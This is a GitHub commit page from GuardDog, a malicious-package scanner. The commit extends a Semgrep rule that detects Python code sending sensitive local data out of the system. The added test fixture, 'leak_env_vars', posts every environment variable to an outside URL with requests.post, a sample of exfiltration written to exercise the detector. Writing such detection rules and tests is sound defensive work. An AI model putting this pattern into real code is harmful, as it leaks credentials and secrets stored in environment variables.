Skip to content

Commit

Permalink
Enhance Python data exfiltration rule (#475)
Browse files Browse the repository at this point in the history
  • Loading branch information
ikretz authored Oct 25, 2024
1 parent 0aff7e7 commit 6f283f1
Show file tree
Hide file tree
Showing 2 changed files with 8 additions and 1 deletion.
2 changes: 1 addition & 1 deletion guarddog/analyzer/sourcecode/exfiltrate-sensitive-data.yml
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ rules:
metadata:
description: Identify when a package reads and exfiltrates sensitive data from the local system
pattern-sources:
- pattern: os.environ.items()
- pattern: os.environ
- pattern: '[... for ... in os.environ.items()]'
- pattern: socket.gethostname()
- pattern: getpass.getuser()
Expand Down
7 changes: 7 additions & 0 deletions tests/analyzer/sourcecode/exfiltrate-sensitive-data.py
Original file line number Diff line number Diff line change
Expand Up @@ -172,6 +172,13 @@ def checkVersion():
req.read()


def leak_env_vars():
env_vars = os.environ
url = "https://www.datadoghq.com/"
# ruleid: exfiltrate-sensitive-data
requests.post(url, json=dict(env_vars))


""" RULEID: CTX
"""

Expand Down

0 comments on commit 6f283f1

Please sign in to comment.